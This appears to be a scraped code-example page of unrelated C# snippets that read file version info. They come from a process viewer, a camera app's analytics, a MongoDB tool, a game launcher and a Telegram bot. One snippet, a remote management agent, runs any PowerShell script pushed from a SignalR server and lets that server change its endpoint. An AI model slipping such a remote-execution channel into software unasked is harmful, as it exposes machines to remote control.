public string GetToolTip(ProcessNode pNode)
        {
            try
            {
                string cmdText = (pNode.ProcessItem.CmdLine != null ?
                                  (Utils.CreateEllipsis(pNode.ProcessItem.CmdLine.Replace("\0", ""), 100) + "\n") : "");

                string fileText = "";

                try
                {
                    if (pNode.ProcessItem.VersionInfo != null)
                    {
                        var info = pNode.ProcessItem.VersionInfo;

                        fileText = "File:\n" + PhUtils.FormatFileInfo(
                            info.FileName, info.FileDescription, info.CompanyName, info.FileVersion, 4);
                    }
                }
                catch
                {
                    if (pNode.ProcessItem.FileName != null)
                    {
                        fileText = "File:\n    " + pNode.ProcessItem.FileName;
                    }
                }

                string runDllText = "";

                if (pNode.ProcessItem.FileName != null &&
                    pNode.ProcessItem.FileName.EndsWith("\\rundll32.exe",
                                                        StringComparison.InvariantCultureIgnoreCase) &&
                    pNode.ProcessItem.CmdLine != null)
                {
                    try
                    {
                        // TODO: fix crappy method
                        string targetFile = pNode.ProcessItem.CmdLine.Split(new char[] { ' ' }, 2)[1].Split(',')[0];

                        // if it doesn't specify an absolute path, assume it's in system32.
                        if (!targetFile.Contains(":"))
                        {
                            targetFile = Environment.SystemDirectory + "\\" + targetFile;
                        }

                        FileVersionInfo info = FileVersionInfo.GetVersionInfo(targetFile);

                        runDllText = "\nRunDLL target:\n    " + info.FileName + "\n    " +
                                     info.FileDescription + " " + info.FileVersion + "\n    " +
                                     info.CompanyName;
                    }
                    catch (Exception ex)
                    {
                        Logging.Log(ex);
                    }
                }

                string dllhostText = "";

                if (pNode.ProcessItem.FileName != null &&
                    pNode.ProcessItem.FileName.EndsWith("\\dllhost.exe",
                                                        StringComparison.InvariantCultureIgnoreCase) &&
                    pNode.ProcessItem.CmdLine != null)
                {
                    try
                    {
                        string clsid = pNode.ProcessItem.CmdLine.ToLowerInvariant().Split(
                            new string[] { "/processid:" }, StringSplitOptions.None)[1].Split(' ')[0];
                        using (var key = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey("CLSID\\" + clsid))
                        {
                            using (var inprocServer32 = key.OpenSubKey("InprocServer32"))
                            {
                                string name     = key.GetValue("") as string;
                                string fileName = inprocServer32.GetValue("") as string;

                                FileVersionInfo info = FileVersionInfo.GetVersionInfo(Environment.ExpandEnvironmentVariables(fileName));

                                dllhostText = "\nCOM Target:\n    " + name + " (" + clsid.ToUpper() + ")\n    " +
                                              info.FileName + "\n    " +
                                              info.FileDescription + " " + info.FileVersion + "\n    " + info.CompanyName;
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Logging.Log(ex);
                    }
                }

                string servicesText = "";

                try
                {
                    IDictionary <int, List <string> > processServices;
                    IDictionary <string, ServiceItem> services;

                    if (!_tree.DumpMode)
                    {
                        processServices = Program.HackerWindow.ProcessServices;
                        services        = Program.ServiceProvider.Dictionary;
                    }
                    else
                    {
                        processServices = _tree.DumpProcessServices;
                        services        = _tree.DumpServices;
                    }

                    if (processServices.ContainsKey(pNode.Pid))
                    {
                        foreach (string service in processServices[pNode.Pid])
                        {
                            if (services.ContainsKey(service))
                            {
                                if (services[service].Status.DisplayName != "")
                                {
                                    servicesText += "    " + service + " (" +
                                                    services[service].Status.DisplayName + ")\n";
                                }
                                else
                                {
                                    servicesText += "    " + service + "\n";
                                }
                            }
                            else
                            {
                                servicesText += "    " + service + "\n";
                            }
                        }

                        servicesText = "\nServices:\n" + servicesText.TrimEnd('\n');
                    }
                }
                catch (Exception ex)
                {
                    Logging.Log(ex);
                }

                string otherNotes = "";

                try
                {
                    if (pNode.ProcessItem.IsPacked && pNode.ProcessItem.ImportModules > 0)
                    {
                        otherNotes += "\n    Image is probably packed - has " +
                                      pNode.ProcessItem.ImportFunctions.ToString() + " imports over " +
                                      pNode.ProcessItem.ImportModules.ToString() + " modules.";
                    }
                    else if (pNode.ProcessItem.IsPacked)
                    {
                        otherNotes += "\n    Image is probably packed - error reading PE file.";
                    }

                    if (pNode.ProcessItem.FileName != null)
                    {
                        if (pNode.ProcessItem.VerifyResult == VerifyResult.Trusted)
                        {
                            if (!string.IsNullOrEmpty(pNode.ProcessItem.VerifySignerName))
                            {
                                otherNotes += "\n    Signer: " + pNode.ProcessItem.VerifySignerName;
                            }
                            else
                            {
                                otherNotes += "\n    Signed.";
                            }
                        }
                        else if (pNode.ProcessItem.VerifyResult == VerifyResult.Unknown &&
                                 !Settings.Instance.VerifySignatures)
                        {
                            otherNotes += "";
                        }
                        else if (pNode.ProcessItem.VerifyResult == VerifyResult.Unknown &&
                                 Settings.Instance.VerifySignatures && !_tree.DumpMode)
                        {
                            otherNotes += "\n    File has not been processed yet. Please wait...";
                        }
                        else if (pNode.ProcessItem.VerifyResult != VerifyResult.NoSignature)
                        {
                            otherNotes += "\n    Signature invalid.";
                        }

                        if (Program.ImposterNames.Contains(pNode.Name.ToLowerInvariant()) &&
                            pNode.ProcessItem.VerifyResult != VerifyResult.Trusted &&
                            pNode.ProcessItem.VerifyResult != VerifyResult.Unknown)
                        {
                            otherNotes += "\n    Process is using the name of a known process but its signature could not be verified.";
                        }
                    }

                    if (pNode.ProcessItem.IsInJob)
                    {
                        otherNotes += "\n    Process is in a job.";
                    }
                    if (pNode.ProcessItem.ElevationType == TokenElevationType.Full)
                    {
                        otherNotes += "\n    Process is elevated.";
                    }
                    if (pNode.ProcessItem.IsDotNet)
                    {
                        otherNotes += "\n    Process is managed (.NET).";
                    }
                    if (pNode.ProcessItem.IsPosix)
                    {
                        otherNotes += "\n    Process is POSIX.";
                    }
                    if (pNode.ProcessItem.IsWow64)
                    {
                        otherNotes += "\n    Process is 32-bit (running under WOW64).";
                    }

                    if (otherNotes != "")
                    {
                        otherNotes = "\nNotes:" + otherNotes;
                    }
                }
                catch (Exception ex)
                {
                    Logging.Log(ex);
                }

                return((cmdText + fileText + otherNotes + runDllText + dllhostText + servicesText).Trim(' ', '\n', '\r'));
            }
            catch (Exception ex)
            {
                Logging.Log(ex);
            }

            return(string.Empty);
        }
Beispiel #2
0
        private void Connect()
        {
            try
            {
                connection.Stop();
                connection.Start().ContinueWith(task => {
                    if (task.IsFaulted)
                    {
                        Console.WriteLine("There was an error opening the connection:{0}", task.Exception.GetBaseException());
                    }
                    else
                    {
                        //Obsolete
                        myHub.On <string, string>("getPS", (s1, s2) =>
                        {
                            //using (PowerShell PowerShellInstance = PowerShell.Create())
                            //{
                            //    try
                            //    {
                            //        PowerShellInstance.AddScript(s1);
                            //        var PSResult = PowerShellInstance.Invoke();
                            //        if (PSResult.Count() > 0)
                            //        {
                            //            string sResult = PSResult.Last().BaseObject.ToString();
                            //            if (sResult != sScriptResult) //obsolete from 1.0.07 -> returnPS
                            //            {
                            //                sScriptResult = sResult;
                            //                Random rnd = new Random();
                            //                tReInit.Interval = rnd.Next(1000, 10000); //wait max 10s to ReInit
                            //            }

                            //            myHub.Invoke<string>("Respond", s2, Environment.MachineName + ":" + sResult).ContinueWith(task1 =>
                            //            {
                            //                if (task1.IsFaulted)
                            //                {
                            //                    Console.WriteLine("There was an error calling send: {0}", task1.Exception.GetBaseException());
                            //                }
                            //            });
                            //        }
                            //    }
                            //    catch (Exception ex)
                            //    {
                            //        Console.WriteLine("There was an error: {0}", ex.Message);
                            //    }
                            //}

                            //Program.MinimizeFootprint();
                        });

                        myHub.On <string, string>("returnPS", (s1, s2) =>
                        {
                            using (PowerShell PowerShellInstance = PowerShell.Create())
                            {
                                try
                                {
                                    PowerShellInstance.AddScript(s1);
                                    var PSResult = PowerShellInstance.Invoke();
                                    if (PSResult.Count() > 0)
                                    {
                                        string sResult = PSResult.Last().BaseObject.ToString();
                                        if (sResult != sScriptResult)
                                        {
                                            sScriptResult    = sResult;
                                            Random rnd       = new Random();
                                            tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max Xs to ReInit
                                        }
                                    }
                                }
                                catch (Exception ex)
                                {
                                    Console.WriteLine("There was an error: {0}", ex.Message);
                                }
                            }

                            Program.MinimizeFootprint();
                        });

                        //New 0.9.0.6
                        myHub.On <string, string>("returnPSAsync", (s1, s2) =>
                        {
                            var tSWScan = Task.Run(() =>
                            {
                                using (PowerShell PowerShellInstance = PowerShell.Create())
                                {
                                    try
                                    {
                                        PowerShellInstance.AddScript(s1);
                                        var PSResult = PowerShellInstance.Invoke();
                                        if (PSResult.Count() > 0)
                                        {
                                            string sResult = PSResult.Last().BaseObject.ToString();
                                            if (sResult != sScriptResult)
                                            {
                                                sScriptResult    = sResult;
                                                Random rnd       = new Random();
                                                tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max Xs to ReInit
                                            }
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                        Console.WriteLine("There was an error: {0}", ex.Message);
                                    }
                                }

                                Program.MinimizeFootprint();
                            });
                        });

                        myHub.On <string>("init", (s1) =>
                        {
                            try
                            {
                                myHub.Invoke <string>("Init", Hostname).ContinueWith(task1 =>
                                {
                                });
                            }
                            catch { }
                            try
                            {
                                foreach (string sGroup in Properties.Settings.Default.Groups.Split(';'))
                                {
                                    myHub.Invoke <string>("JoinGroup", sGroup).ContinueWith(task1 =>
                                    {
                                    });
                                }
                                Program.MinimizeFootprint();
                            }
                            catch { }
                        });

                        myHub.On <string>("status", (s1) =>
                        {
                            try
                            {
                                string sResult = "{}";
                                using (PowerShell PowerShellInstance = PowerShell.Create())
                                {
                                    try
                                    {
                                        PowerShellInstance.AddScript(Properties.Settings.Default.PSStatus);
                                        var PSResult = PowerShellInstance.Invoke();
                                        if (PSResult.Count() > 0)
                                        {
                                            sResult      = PSResult.Last().BaseObject.ToString();
                                            sResult      = sResult.Replace(Environment.MachineName, Hostname);
                                            JObject jRes = JObject.Parse(sResult);
                                            jRes.Add("ScriptResult", sScriptResult);
                                            jRes.Add("Groups", Properties.Settings.Default.Groups);
                                            sResult = jRes.ToString();
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                        Console.WriteLine("There was an error: {0}", ex.Message);
                                    }
                                }

                                myHub.Invoke("Status", new object[] { Hostname, sResult }).ContinueWith(task1 =>
                                {
                                });
                                Program.MinimizeFootprint();
                            }
                            catch { }
                        });

                        myHub.On <string>("version", (s1) =>
                        {
                            try
                            {
                                //Get File-Version
                                sScriptResult = (FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location)).FileVersion.ToString();

                                Random rnd       = new Random();
                                tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit
                            }
                            catch { }
                        });

                        myHub.On <string>("wol", (s1) =>
                        {
                            try
                            {
                                if (!string.IsNullOrEmpty(s1))
                                {
                                    foreach (string sMAC in s1.Split(';'))
                                    {
                                        WOL.WakeUp(sMAC);
                                    }
                                }
                            }
                            catch { }
                        });

                        myHub.On <string>("setinstance", (s1) =>
                        {
                            try
                            {
                                if (!string.IsNullOrEmpty(s1))
                                {
                                    string sConfig  = Assembly.GetExecutingAssembly().Location + ".config";
                                    XmlDocument doc = new XmlDocument();
                                    doc.Load(sConfig);
                                    doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Instance']/value").InnerText = s1;
                                    doc.Save(sConfig);
                                    RestartService();

                                    //Update Advanced Installer Persistent Properties
                                    RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true);
                                    if (myKey != null)
                                    {
                                        myKey.SetValue("INSTANCE", s1.Trim(), RegistryValueKind.String);
                                        myKey.Close();
                                    }
                                }
                            }
                            catch { }
                        });

                        myHub.On <string>("setendpoint", (s1) =>
                        {
                            try
                            {
                                if (!string.IsNullOrEmpty(s1))
                                {
                                    if (s1.StartsWith("https://"))
                                    {
                                        string sConfig  = Assembly.GetExecutingAssembly().Location + ".config";
                                        XmlDocument doc = new XmlDocument();
                                        doc.Load(sConfig);
                                        doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Endpoint']/value").InnerText = s1;
                                        doc.Save(sConfig);
                                        RestartService();

                                        //Update Advanced Installer Persistent Properties
                                        RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true);
                                        if (myKey != null)
                                        {
                                            myKey.SetValue("ENDPOINT", s1.Trim(), RegistryValueKind.String);
                                            myKey.Close();
                                        }
                                    }
                                }
                            }
                            catch { }
                        });

                        myHub.On <string>("setgroups", (s1) =>
                        {
                            try
                            {
                                if (!string.IsNullOrEmpty(s1))
                                {
                                    string sConfig  = Assembly.GetExecutingAssembly().Location + ".config";
                                    XmlDocument doc = new XmlDocument();
                                    doc.Load(sConfig);
                                    doc.SelectSingleNode("/configuration/applicationSettings/DevCDRAgent.Properties.Settings/setting[@name='Groups']/value").InnerText = s1;
                                    doc.Save(sConfig);

                                    RestartService();

                                    //Update Advanced Installer Persistent Properties
                                    RegistryKey myKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Zander Tools\\{0AC43E24-4308-4BE7-A369-D50DB4056B32}", true);
                                    if (myKey != null)
                                    {
                                        myKey.SetValue("GROUPS", s1.Trim(), RegistryValueKind.String);
                                        myKey.Close();
                                    }
                                }
                            }
                            catch { }
                        });

                        myHub.On <string>("getgroups", (s1) =>
                        {
                            try
                            {
                                if (!string.IsNullOrEmpty(s1))
                                {
                                    sScriptResult = Properties.Settings.Default.Groups;

                                    Random rnd       = new Random();
                                    tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit
                                }
                            }
                            catch { }
                        });

                        myHub.On <string>("restartservice", (s1) =>
                        {
                            try
                            {
                                RestartService();
                                sScriptResult = "restart Agent...";
                            }
                            catch { }
                        });

                        myHub.On <string>("rzinstall", (s1) =>
                        {
                            RZInst(s1);
                        });

                        myHub.On <string>("rzupdate", (s1) =>
                        {
                            var tSWScan = Task.Run(() =>
                            {
                                try
                                {
                                    sScriptResult    = "Detecting RZ updates...";
                                    Random rnd       = new Random();
                                    tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit

                                    RZUpdater oUpdate = new RZUpdater();
                                    RZScan oScan      = new RZScan(false, false);

                                    oScan.GetSWRepository().Wait(30000);
                                    oScan.SWScan().Wait(30000);
                                    oScan.CheckUpdates(null).Wait(30000);

                                    sScriptResult    = oScan.NewSoftwareVersions.Count.ToString() + " RZ updates found";
                                    rnd              = new Random();
                                    tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit

                                    List <string> lSW = new List <string>();
                                    foreach (var oSW in oScan.NewSoftwareVersions)
                                    {
                                        RZInst(oSW.Shortname);
                                    }
                                }
                                catch { }
                            });
                        });

                        myHub.On <string>("rzscan", (s1) =>
                        {
                            var tSWScan = Task.Run(() =>
                            {
                                try
                                {
                                    sScriptResult    = "Detecting updates...";
                                    Random rnd       = new Random();
                                    tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit

                                    RZUpdater oUpdate = new RZUpdater();
                                    RZScan oScan      = new RZScan(false, false);

                                    oScan.GetSWRepository().Wait(30000);
                                    oScan.SWScan().Wait(30000);
                                    oScan.CheckUpdates(null).Wait(30000);

                                    List <string> lSW = new List <string>();
                                    foreach (var SW in oScan.NewSoftwareVersions)
                                    {
                                        lSW.Add(SW.Shortname + " " + SW.ProductVersion + " (old:" + SW.MSIProductID + ")");
                                    }

                                    sScriptResult    = JsonConvert.SerializeObject(lSW);
                                    rnd              = new Random();
                                    tReInit.Interval = rnd.Next(200, Properties.Settings.Default.StatusDelay); //wait max 5s to ReInit
                                }
                                catch { }
                            });
                        });

                        myHub.Invoke <string>("Init", Hostname).ContinueWith(task1 => {
                            if (task1.IsFaulted)
                            {
                                Console.WriteLine("There was an error calling send: {0}", task1.Exception.GetBaseException());
                            }
                            else
                            {
                                try
                                {
                                    foreach (string sGroup in Properties.Settings.Default.Groups.Split(';'))
                                    {
                                        myHub.Invoke <string>("JoinGroup", sGroup).ContinueWith(task2 =>
                                        {
                                        });
                                    }
                                    Program.MinimizeFootprint();
                                }
                                catch { }
                            }
                        });
                    }
                }).Wait();
            }
            catch (Exception ex)
            {
                Console.WriteLine("There was an error: {0}", ex.Message);
            }
        }
        public void Start()
        {
            if (!ServiceProvider.Settings.SendUsageStatistics)
            {
                return;
            }
            try
            {
                Assembly assembly = Assembly.GetExecutingAssembly();
                _applicationVersion = FileVersionInfo.GetVersionInfo(assembly.Location).ProductVersion;
                _userAgent          = string.Format("digiCamControl/{0} (Windows NT {1}.{2}) ", FileVersionInfo.GetVersionInfo(assembly.Location).ProductMajorPart + "." +
                                                    FileVersionInfo.GetVersionInfo(assembly.Location).ProductMinorPart,
                                                    Environment.OSVersion.Version.Major, Environment.OSVersion.Version.Minor);

                var tracker = new PageviewTracker(TrackId, ServiceProvider.Settings.ClientId);
                tracker.UseSsl    = true;
                tracker.UserAgent = _userAgent;
                tracker.Parameters.DocumentHostName = "digicamcontrol.com";
                tracker.Parameters.DocumentPath     = "/" + _applicationVersion;
                tracker.Parameters.DocumentTitle    = "Start";
                tracker.Parameters.SessionControl   = TrackerParameters.SessionControlValues.Start;
                SetParams(tracker.Parameters);
                tracker.Send();
                SendEvent("Application", "Start", _applicationVersion);
            }
            catch (Exception exception)
            {
                Log.Error("Analytics", exception);
            }
        }
Beispiel #4
0
 private string GetFileVersion()
 {
     return(FileVersionInfo.GetVersionInfo(this.GetType().Assembly.Location).FileVersion);
 }
Beispiel #5
0
 public string get_file_version_for(string filePath)
 {
     return(FileVersionInfo.GetVersionInfo(get_full_path(filePath)).FileVersion);
 }
Beispiel #6
0
        /// <summary>
        ///     初始化
        /// </summary>
        public static void Init()
        {
            //MongoDB驱动版本的取得
            Debug.Print(Path.DirectorySeparatorChar.ToString());
            var info = FileVersionInfo.GetVersionInfo(Application.StartupPath + Path.DirectorySeparatorChar + "MongoDB.Driver.dll");

            MongoHelper.MongoDbDriverVersion = info.ProductVersion;

            info = FileVersionInfo.GetVersionInfo(Application.StartupPath + Path.DirectorySeparatorChar + "MongoDB.Bson.dll");
            MongoHelper.MongoDbBsonVersion = info.ProductVersion;

            info = FileVersionInfo.GetVersionInfo(Application.StartupPath + Path.DirectorySeparatorChar + "MongoDB.Driver.Core.dll");
            MongoHelper.MongoDbDriverCoreVersion = info.ProductVersion;

            info = FileVersionInfo.GetVersionInfo(Application.StartupPath + Path.DirectorySeparatorChar + "MongoDB.Driver.Legacy.dll");
            MongoHelper.MongoDbDriverLegacyVersion = info.ProductVersion;

            //版本设定
            Version          = Application.ProductVersion;
            DebugMode        = false;
            MonoMode         = Type.GetType("Mono.Runtime") != null;
            GuiConfig.IsMono = MonoMode;
            //Can't know for OSVersion to diff Mac or Unix....
            //异常处理器的初始化
            Utility.ExceptionAppendInfo  = "MongoDbDriverVersion:" + MongoHelper.MongoDbDriverVersion + Environment.NewLine;
            Utility.ExceptionAppendInfo += "MongoDbBsonVersion:" + MongoHelper.MongoDbBsonVersion + Environment.NewLine;
            Utility.ExceptionAppendInfo += "MongoDbDriverCoreVersion:" + MongoHelper.MongoDbDriverCoreVersion + Environment.NewLine;
            Utility.ExceptionAppendInfo += "MongoDbDriverLegacyVersion:" + MongoHelper.MongoDbDriverLegacyVersion + Environment.NewLine;
            //config
            SystemConfig.AppPath = Application.StartupPath + Path.DirectorySeparatorChar;
            MongoConnectionConfigManager.AppPath = Application.StartupPath + Path.DirectorySeparatorChar;
            var localconfigfile = Application.StartupPath + Path.DirectorySeparatorChar +
                                  SystemConfig.SystemConfigFilename;

            if (File.Exists(localconfigfile))
            {
                SystemConfig.LoadFromConfigFile();
                InitLanguage();
                MongodbDosCommand.MongoBinPath = SystemConfig.MongoBinPath;
            }
            else
            {
                SystemConfig = new SystemConfig();
                var frmLanguage = new FrmLanguage();
                frmLanguage.ShowDialog();
                InitLanguage();
                var frmOption = new FrmOption();
                frmOption.ShowDialog();
                SystemConfig.SaveSystemConfig();
            }
            localconfigfile = Application.StartupPath + Path.DirectorySeparatorChar + MongoConnectionConfigManager.MongoConfigFilename;
            if (File.Exists(localconfigfile))
            {
                MongoConnectionConfigManager.LoadFromConfigFile();
                RuntimeMongoDbContext.MongoConnectionConfigList = MongoConnectionConfig.MongoConfig.ConnectionList;
            }
            //服务器状态字典的初始化
            SystemStatus.FillStatusDicName();
            Application.Run(new frmMain());
            //delete tempfile directory when exit
            if (Directory.Exists(Gfs.TempFileFolder))
            {
                Directory.Delete(Gfs.TempFileFolder, true);
            }
        }
Beispiel #7
0
        public static void Initialize(IServiceProvider serviceProvider)
        {
            var componentModel = (IComponentModel)serviceProvider.GetService(typeof(SComponentModel));
            var optionService  = componentModel.GetService <IGlobalOptionService>();

            // Fetch the session synchronously on the UI thread; if this doesn't happen before we try using this on
            // the background thread then we will experience hangs like we see in this bug:
            // https://devdiv.visualstudio.com/DefaultCollection/DevDiv/_workitems?_a=edit&id=190808 or
            // https://devdiv.visualstudio.com/DevDiv/_workitems?id=296981&_a=edit
            var unused1 = TelemetryHelper.TelemetryService;
            var unused2 = TelemetryHelper.DefaultTelemetrySession;

            var telemetryService = serviceProvider.GetService(typeof(SVsTelemetryService)) as IVsTelemetryService;

            Logger.SetLogger(
                AggregateLogger.Create(
                    CodeMarkerLogger.Instance,
                    new EtwLogger(optionService),
                    new VSTelemetryLogger(telemetryService),
                    new VSTelemetryActivityLogger(telemetryService),
                    Logger.GetLogger()));

            Logger.Log(FunctionId.Run_Environment, KeyValueLogMessage.Create(m => m["Version"] = FileVersionInfo.GetVersionInfo(typeof(VisualStudioWorkspace).Assembly.Location).FileVersion));
        }
Beispiel #8
0
        protected override void Init()
        {
            core   = Core.Instance;
            config = ConfigurationFile.Instance;

            var version = FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location);

            Title = "kRPC v" + version.FileMajorPart + "." + version.FileMinorPart + "." + version.FileBuildPart;

            core.OnClientActivity += (s, e) => SawClientActivity(e.Client);

            Style.fixedWidth = windowWidth;

            var skin = Skin.DefaultSkin;

            labelStyle        = new GUIStyle(skin.label);
            labelStyle.margin = new RectOffset(0, 0, 0, 0);

            stretchyLabelStyle              = new GUIStyle(skin.label);
            stretchyLabelStyle.margin       = new RectOffset(0, 0, 0, 0);
            stretchyLabelStyle.stretchWidth = true;

            fixedLabelStyle = new GUIStyle(skin.label);

            textFieldStyle        = new GUIStyle(skin.textField);
            textFieldStyle.margin = new RectOffset(0, 0, 0, 0);

            longTextFieldStyle        = new GUIStyle(skin.textField);
            longTextFieldStyle.margin = new RectOffset(0, 0, 0, 0);

            stretchyTextFieldStyle              = new GUIStyle(skin.textField);
            stretchyTextFieldStyle.margin       = new RectOffset(0, 0, 0, 0);
            stretchyTextFieldStyle.stretchWidth = true;

            buttonStyle        = new GUIStyle(skin.button);
            buttonStyle.margin = new RectOffset(0, 0, 0, 0);

            toggleStyle               = new GUIStyle(skin.toggle);
            toggleStyle.margin        = new RectOffset(0, 0, 0, 0);
            toggleStyle.stretchWidth  = false;
            toggleStyle.contentOffset = new Vector2(4, 0);

            expandStyle             = new GUIStyle(skin.button);
            expandStyle.margin      = new RectOffset(0, 0, 0, 0);
            expandStyle.padding     = new RectOffset(0, 0, 0, 0);
            expandStyle.fixedWidth  = 16;
            expandStyle.fixedHeight = 16;

            separatorStyle              = GUILayoutExtensions.SeparatorStyle(new Color(0f, 0f, 0f, 0.25f));
            separatorStyle.fixedHeight  = 2;
            separatorStyle.stretchWidth = true;
            separatorStyle.margin       = new RectOffset(2, 2, 3, 3);

            lightStyle = GUILayoutExtensions.LightStyle();

            errorLabelStyle                  = new GUIStyle(skin.label);
            errorLabelStyle.margin           = new RectOffset(0, 0, 0, 0);
            errorLabelStyle.stretchWidth     = true;
            errorLabelStyle.normal.textColor = errorColor;

            comboOptionsStyle = GUILayoutExtensions.ComboOptionsStyle();
            comboOptionStyle  = GUILayoutExtensions.ComboOptionStyle();

            Errors           = new List <string> ();
            maxTimePerUpdate = config.Configuration.MaxTimePerUpdate.ToString();
            recvTimeout      = config.Configuration.RecvTimeout.ToString();

            core.OnClientActivity += (s, e) => SawClientActivity(e.Client);
            if (core.Servers.Count == 1)
            {
                expandServers.Add(core.Servers [0].Id);
            }
        }
Beispiel #9
0
        private void ExecBrowseButton_Click(object sender, EventArgs e)
        {
            var dialog = new OpenFileDialog
            {
                // Filter out only exes
                Filter = "LeagueClient.exe or League of Legends.exe (*.exe)|*.exe",
                // Show only files starting with "League"
                FileName = "League*",
                // Only allow one file to be selected
                Multiselect = false,
                // Set title of dialog
                Title = "Select League of Legends client"
            };

            // Wait for user to press ok
            while (dialog.ShowDialog() == DialogResult.OK)
            {
                var filepath = dialog.FileName;
                // They didn't select anything, do nothing
                if (string.IsNullOrEmpty(filepath) || filepath.Equals("League*"))
                {
                    return;
                }

                string gamePath = "";
                // Now did they select leagueclient or league of legends?
                switch (Path.GetFileName(filepath))
                {
                case "LeagueClient.exe":
                {
                    // Enable update checkbox if ever disabled
                    ExecUpdateCheckbox.Enabled = true;
                    try
                    {
                        // Find the league of legends.exe using game locator
                        gamePath = _exeTools.FindLeagueExecutablePath(Path.GetDirectoryName(filepath));
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("Could not find League of Legends executable, please try again\n\n" + ex.Message, "Error finding game executable", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        return;
                    }
                    break;
                }

                case "League of Legends.exe":
                {
                    // Disable update checkbox, could cause big problems
                    ExecUpdateCheckbox.Checked = false;
                    ExecUpdateCheckbox.Enabled = false;
                    gamePath = filepath;
                    break;
                }

                default:
                {
                    MessageBox.Show("Selected file is not LeagueClient.exe or League of Legends.exe", "Invalid executable", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    continue;
                }
                }


                var fileInfo = FileVersionInfo.GetVersionInfo(gamePath);

                NewLeagueExec.TargetPath   = gamePath;
                NewLeagueExec.StartFolder  = Path.GetDirectoryName(filepath);
                NewLeagueExec.PatchVersion = fileInfo.FileVersion;
                NewLeagueExec.ModifiedDate = File.GetLastWriteTime(gamePath);

                this.ExecTargetTextBox.Text    = gamePath;
                this.ExecStartTextBox.Text     = Path.GetDirectoryName(filepath);
                this.GBoxExecNameTextBox.Text  = Path.GetFileName(gamePath);
                this.GBoxPatchVersTextBox.Text = fileInfo.FileVersion;
                this.GBoxFileDescTextBox.Text  = fileInfo.FileDescription;
                this.GBoxLastModifTextBox.Text = NewLeagueExec.ModifiedDate.ToString("yyyy/dd/MM");

                return;
            }
        }
 /// <summary>Gets the file version information.</summary>
 /// <param name="assemblyPath">The assembly path.</param>
 /// <returns>The file version of the selected assembly.</returns>
 public static FileVersionInfo GetFileVersionInformation(string assemblyPath) => FileVersionInfo.GetVersionInfo(assemblyPath);
Beispiel #11
0
 public string GetFileVersion(string filePath)
 {
     return(FileVersionInfo.GetVersionInfo(filePath).FileVersion);
 }
Beispiel #12
0
        private static string GetVersion()
        {
            string assemblyLocation = Assembly.GetExecutingAssembly().Location;

            return(FileVersionInfo.GetVersionInfo(assemblyLocation).FileVersion);
        }
Beispiel #13
0
        //internal static BotanIO.Api.Botan Analytics;
        static void Main(string[] args)
        {
            AppDomain.CurrentDomain.UnhandledException += (sender, eventArgs) =>
            {
                //drop the error to log file and exit
                using (var sw = new StreamWriter(Path.Combine(Bot.RootDirectory, "..\\Logs\\error.log"), true))
                {
                    var e = (eventArgs.ExceptionObject as Exception);
                    sw.WriteLine(DateTime.UtcNow);
                    sw.WriteLine(e.Message);
                    sw.WriteLine(e.StackTrace + "\n");
                    if (eventArgs.IsTerminating)
                    {
                        Environment.Exit(5);
                    }
                }
            };

            //get the version of the bot and set the window title
            Assembly        assembly = Assembly.GetExecutingAssembly();
            FileVersionInfo fvi      = FileVersionInfo.GetVersionInfo(assembly.Location);
            string          version  = fvi.FileVersion;

            Console.Title = $"Werewolf Moderator {version}";


            //Make sure another instance isn't already running
            if (Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1)
            {
                Environment.Exit(2);
            }


            var updateid = "";

            //attempt to get id from update
            if (args.Length > 0)
            {
                updateid = args[0];
            }

            //initialize analytics
#if BETA || DEBUG
            //var aToken = Helpers.RegHelper.GetRegValue("BotanBetaAPI");
#else
            //var aToken = Helpers.RegHelper.GetRegValue("BotanReleaseAPI");
#endif
            //Analytics = new BotanIO.Api.Botan(aToken);

            //Initialize the TCP connections
            TCP.Initialize();
            //Let the nodes reconnect
            Thread.Sleep(1000);

            //initialize EF before we start receiving
            using (var db = new WWContext())
            {
                var count = db.GlobalBans.Count();
            }

            //start up the bot
            new Thread(() => Bot.Initialize(updateid)).Start();
            new Thread(NodeMonitor).Start();

            /* //new Thread(CpuMonitor).Start();
             * new Thread(UpdateHandler.SpamDetection).Start();
             * new Thread(UpdateHandler.BanMonitor).Start();
             * //new Thread(MessageMonitor).Start();
             * _timer = new System.Timers.Timer();
             * _timer.Elapsed += new ElapsedEventHandler(TimerOnTick);
             * _timer.Interval = 1000;
             * _timer.Enabled = true;*/

            var nodecount = 1;

            while (true)
            {
                if (Bot.Nodes.Count(x => !x.ShuttingDown) < nodecount)
                {
                    NewNode();
                    Thread.Sleep(5000);
                }
                else if (Bot.Nodes.Count(x => !x.ShuttingDown) > nodecount)
                {
                    Bot.Nodes?.FirstOrDefault(x => x.Games.Count == 0)?.ShutDown(true);
                }

                Thread.Sleep(2000);
            }

            //now pause the main thread to let everything else run
            Thread.Sleep(-1);
        }
Beispiel #14
0
        public static void Initialize(IServiceProvider serviceProvider)
        {
            var componentModel = (IComponentModel)serviceProvider.GetService(typeof(SComponentModel));
